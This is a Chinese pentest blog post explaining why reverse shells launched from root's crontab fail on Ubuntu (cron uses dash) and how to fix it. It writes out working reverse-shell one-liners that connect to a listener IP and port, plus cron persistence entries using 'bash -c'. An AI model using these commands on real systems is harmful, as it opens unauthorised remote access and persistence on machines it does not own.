Ubuntu下反弹shell的思考

news2024/12/28 3:00:05

目录

Ubuntu的命令执行环境

bash (Bourne Again SHell):

sh (Bourne SHell):

dash (Debian Almquist SHell):

它们之间的关系:

可能遇到的问题

一、脚本权限问题

二、命令执行环境(shell解释器)问题

如何解决?

1.修改/bin/sh软连接的指向为bash

2.编写shell脚本文件并执行

3.bash -c参数指定shell解释器


相信各位师傅在平时渗透过程中会遇到ubuntu任务计划反弹shell失败的情况,本文就这一问题浅析一下

Ubuntu的命令执行环境

在分析问题之前,我们先来讨论一下ubuntu中的bash、sh和dash的关系

这是chatgpt-4o的回答:

在Ubuntu系统中,bashshdash都是常见的Shell解释器,它们之间有一些区别和联系:

  1. bash (Bourne Again SHell):

    • bash是GNU项目的一个Unix shell,它是sh(Bourne shell)的替代品。
    • bash兼容sh,并且提供了许多增强功能,例如更丰富的编程结构、更强大的命令行编辑和历史记录功能。
    • 默认情况下,Ubuntu系统中的终端会话使用的是bash
  2. sh (Bourne SHell):

    • sh是最初由Stephen Bourne在1977年开发的Unix shell。
    • sh语法较为简单,但功能有限。
    • 在现代Linux系统中,sh通常是指向另一个shell的符号链接。在Ubuntu中,这个符号链接通常指向dash
  3. dash (Debian Almquist SHell):

    • dash是一个POSIX兼容的Shell,旨在比bash更轻量级和更快速。
    • dashash(Almquist Shell)的一个变种。
    • 在Ubuntu中,默认的/bin/sh是指向dash的符号链接。这是为了提高系统启动和脚本执行的速度。
    • 尽管dash在性能上有优势,但它不支持bash的一些特性,因此某些脚本可能无法在dash中正确运行。

它们之间的关系:

  • sh通常是指向dash的符号链接(在Ubuntu系统中)。
  • dash是一个轻量级、快速的POSIX兼容Shell,被用作系统默认的/bin/sh
  • bashsh的增强版本,提供了更多功能,并且是用户默认的交互式Shell。

总结来说,Ubuntu选择使用dash作为系统默认的sh来加快启动速度,而用户交互式Shell仍然使用功能更强大的bash

也就是说,之所以使用crontab反弹不了shell,就是因为crontab使用的是系统的默认执行环境dash(centos中是bash),找不到/bin/bash环境

但是用户交互式的shell还是使用的是bash,这就是为什么有些师傅直接输入反弹shell的命令是可以成功反弹的,而同样的命令crontab却不行

接下来通过例子来分析反弹shell中可能遇到的问题

可能遇到的问题

我们先用下面的脚本来尝试反弹shell,写到/var/spool/cron/crontabs/root中

* * * * * 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'

攻击机监听,过了一分钟后发现并没有回弹 

一、脚本权限问题

查看syslog

tail /var/log/syslog

提示root脚本是一个不安全的模式,模式应该是0600

我们根据它的报错来修改权限,改为0600

然后等待1分钟,查看是否能回弹shell

二、命令执行环境(shell解释器)问题

发现仍然没有回弹,同样查看日志

可以看到crontab其实是执行了命令的,但是因为命令执行报错,系统想输出到邮件中,但没有安装邮件传输代理(MTA),因此cron任务的输出被丢弃

根据日志我们可以修改一下脚本,将 标准错误输出 输出到/tmp/error.txt文件中

* * * * * 'bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1

等待一分钟,查看/tmp/error.txt文件

可以看到错误提示 /bin/sh找不到bash命令

这就是我们前面讲到的ubuntu的默认shell解释器是sh,而sh是dash的一个软链接

dash找不到bash命令所以报错,但是ubuntu中没有bash环境吗?

很显然是有的,我们使用的用户交互shell就是bash环境

既然相对路径找不到,我们可以用绝对路径/bin/bash,不就可以找到了吗?

修改脚本

* * * * * '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1

等待一分钟后发现依然不能反弹,查看错误信息

仍然显示找不到命令

这里的错误原因其实和上面一样,这不是路径的问题,而是默认的shell解释器根本就不是bash,如果是默认是bash,可能会存在这样的路径问题

如何解决?

1.修改/bin/sh软连接的指向为bash

(此方法是其他博客写的,尝试了很久不成功)

ln -s -f bash /bin/sh

这种方法可以将默认shell解释器修改为bash

理论上是可以成功反弹的,但是我尝试了很多遍依旧失败,依旧显示命令找不到

2.编写shell脚本文件并执行

我们可以避免在crontab中直接执行命令,可以先编写一个反弹shell的脚本,然后在计划任务中执行脚本,避免直接在计划任务中执行,这样就不会使用默认的sh环境了

记得chmod加上执行权限

chmod +x /tmp/1.sh

成功反弹

3.bash -c参数指定shell解释器

这个方法是我比较推荐的方式,不需要多余的操作,可以直接在计划任务中执行,只需加上bash -c参数指定shell解释器即可

* * * * * bash -c '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1'

bash -c 表示使用bash作为shell解释器,然后-c选项表示后面跟随的是要执行的命令字符串

注意:计划任务的执行文件仍需要0600的权限,不然也反弹不了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1887415.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++字体库开发

建议根据字体需求,多个组合使用。高度定制可基于freeTypeharfbuzz基础库完成。 GitHub - GNOME/pango: Read-only mirror of https://gitlab.gnome.org/GNOME/pango GitHub - googlefonts/fontview: Demo app that displays fonts with a free/libre/open-source …

Java_多线程:线程和死锁

一、线程 1、线程的状态流转 新建状态(New):当线程对象对创建后,即进入了新建状态,如:Thread t new MyThread();就绪状态(Runnable):当调用线程对象的start()方法&…

JAVA极简图书管理系统,初识springboot后端项目

前提条件: 具备基础的springboot 知识 Java基础 废话不多说! 创建项目 配置所需环境 将application.properties>application.yml 配置以下环境 数据库连接MySQL 自己创建的数据库名称为book_test server:port: 8080 spring:datasource:url:…

搜索型数据库的技术发展历程与趋势前瞻

概述 随着数字科技的飞速发展和信息量的爆炸性增长,搜索引擎已成为我们获取信息的首选途径之一,典型的代表厂商如 Google。然而,随着用户需求的不断演变,传统的搜索技术已经无法满足人们对信息的实时性、个性化和多样性的需求。 …

C++基础知识-编译相关

记录C语言相关的基础知识 1 C源码到可执行文件的四个阶段 预处理(.i)、编译(.s)、汇编(.obj)、链接。 1.1 预处理 预处理阶段,主要完成宏替换、文件展开、注释删除、条件编译展开、添加行号和文件名标识,输出.i/.ii预处理文件。 宏替换,…

AI的价值——不再那么“废”人,保险行业用AI人员流失减少20%

最近有个热点挺让人唏嘘的,某咖啡店员工对顾客泼咖啡粉,我们对于这个事件不予评价。但是对员工这种情绪崩溃,我们所接触的行业中也有不少例子,比如保险行业,相信大家经常会被打保险电话,这类电话很容易就被…

K8s 的最后一片拼图:dbPaaS

K8s 的发展使得私有云跟公共云之间的技术差不断的缩小,不管是在私有云还是公共云,大家今天都在基于 K8s 去开发 PaaS 系统。而 K8s 作为构建 PaaS 的基础,其全景图里还缺最后一块“拼图”——dbPaaS。作为一个云数据库行业干了十几年的资深从…

Swin Transformer:最佳论文,准确率和性能双佳的视觉Transformer | ICCV 2021

论文提出了经典的Vision Transormer模型Swin Transformer,能够构建层级特征提高任务准确率,而且其计算复杂度经过各种加速设计,能够与输入图片大小成线性关系。从实验结果来看,Swin Transormer在各视觉任务上都有很不错的准确率&a…

哈尔滨如何选择合适的等保测评机构?

选择合适的等保测评机构确实需要细致考虑,您提到的八个方面已经非常全面,涵盖了资质、专业能力、服务质量和合规性等多个关键点。为了进一步确保所选机构的可靠性,还可以考虑以下几点: 1.技术创新与工具:了解测评机构是…

UE5的安装与基本操作(一)

文章目录 前言安装UE5新建第一个游戏项目基本游览方式对目标进行变换各种变换对齐 快速定位目标 总结 前言 Unreal Engine 5 (UE5) 是一款由 Epic Games 开发的实时 3D 创作平台,用于制作游戏、电影、动画、建筑可视化和其他类型的交互式体验。UE5 提供了一系列强大…

解锁IDEA中Git/SVN Issue Navigation功能:80%程序员都不懂的秘密武器~

文章目录 前言什么是 Git Issue Navigation?配置 Git Issue Navigation1. 打开设置2. 导航到 Issue Navigation 设置3. 添加新的 Issue Navigation 规则具体示例配置 使用 Git Issue Navigation在提交信息中使用 Issue ID实际导航到连接 优点1. 快速定位问题2. 提高…

可重入锁思想,设计MQ迁移方案

如果你的MQ消息要从Kafka切换到RocketMQ且不停机,怎么做?在让这个MQ消息调用第三方发奖接口,但无幂等字段又怎么处理?今天小傅哥就给大家分享一个关于MQ消息在这样的场景中的处理手段。 这是一种比较特例的场景,需要保…

6月28日华为云数据库斯享会上海站,NineData技术总监薛晓乐受邀并带来主题分享

6月28日(周五),华为云数据库斯享会即将在上海举办,将与的开发者朋友们一起进行数据库技术交流!NineData 技术总监薛晓乐受邀参会,并将带来《企业级数据库 DevOps 最佳实践》的主题分享。 本次活动议程&…

ROS2 分布式 及 ssh远程控制 和 上传文件夹

问题1. 多台计算机连接同一wifi后 ,运行ROS2的小乌龟案例,自己的计算机,无法控制其他电脑的小乌龟 按照正常的情况来说,ROS2是DDS的自发现通信机制,只要处在同一wifi网络中, A计算机执行启动小乌龟的命…

Qt 配置ASan

Qt 配置ASan 文章目录 Qt 配置ASan摘要关于ASan(AddressSanitizer)在Qt中配置 ASan1. 安装必要的工具2. 修改项目的 .pro 文件3. 重新构建项目4. 运行应用程序5. 分析错误报告示例注意事项 关键字: Qt、 ASan、 AddressSanitizer 、 GCC …

DICOM灰度图像、彩色图像的窗宽、窗位与像素的最大最小值的换算关系?

图像可以调整窗宽、窗位 dicom图像中灰度图像可以调整窗宽、窗位,RGB图像调整亮度或对比度?_灰度 图 调节窗宽-CSDN博客 窗宽、窗位与像素的最大最小值的换算关系? 换算公式 max-minWindowWidth; (maxmin)/2WindowCenter; 详细解释 窗宽&#xff0…

【bug报错已解决】ERROR: Could not find a version that satisfies the requirement

🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 文章目录 引言一、问题描述1.1 报错示例1.2 报错分析 二、解决方法2.1 方法一2.2 方法二 三、总结 引言 有没有遇到过那种让人…

吴晓波:企业出海的最佳时间窗口只有5-10年,中国企业如何把握出海机遇?

鼓励企业参与绿色“一带一路”建设,带动先进的环保技术、装备、产能走出去。 出海计划!马来西亚水环境项目国际考察暨2024中马水务合作论坛

探囊取物之多形式登录页面(基于BootStrap4)

基于BootStrap4的登录页面,支持手机验证码登录、账号密码登录、二维码登录、其它统一登录 低配置云服务器,首次加载速度较慢,请耐心等候;演练页面可点击查看源码 预览页面:http://www.daelui.com/#/tigerlair/saas/pr…

记录部署项目《庆自提》完整流程

项目选型:后端网页小程序 前言:在部署这个项目我采用的是宝塔去直接部署,没有使用docker去部署 部署后端部分可参考:记录部署项目到云服务器_项目部署到云服务器-CSDN博客 一、部署后端 (1)修改yml配置文件…